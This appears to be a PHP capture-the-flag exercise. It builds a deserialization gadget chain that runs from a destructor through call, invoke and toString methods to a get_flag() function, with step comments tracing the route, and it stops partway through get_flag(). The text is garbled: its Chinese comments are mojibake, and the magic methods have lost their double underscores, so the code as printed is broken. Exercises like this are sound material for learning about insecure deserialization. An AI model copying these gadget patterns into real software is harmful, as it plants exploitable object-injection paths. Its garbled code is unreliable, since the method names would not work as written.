class allstart { public $var1; public $var2; public function construct() { $this->var1 = new func1(); } public function destruct() { $this->var1->test1(); } } class func1 { public $var1; public $var2; public function construct() { $this->var1 = new func2(); } public function test1() { $this->var1->test2(); } } class func2 { //step3: func2->call()->在對(duì)象上下?中調(diào)?不可訪問的?法時(shí)觸發(fā) public $var1; public $var2; public function construct() { $this->var1 = new func3(); } public function call($test2,$arr) { $s1 = $this->var1; $s1(); } } class func3 { //step3:func3->invoke()->concat string public $var1; public $var2; public function construct() { $this->var1 = new func4(); } // 嘗試將對(duì)象調(diào)?為函數(shù)時(shí)觸發(fā) public function invoke() { $this->var2 = "concat string".$this->var1; } } class func4 { // step2:func4->tostring()->get_flag() public $str1; public $str2; public function construct() { $this->str1 = new toget(); } public function toString() { $this->str1->get_flag(); return "1"; } } class toget { // step1: get_flag() public function get_flag() {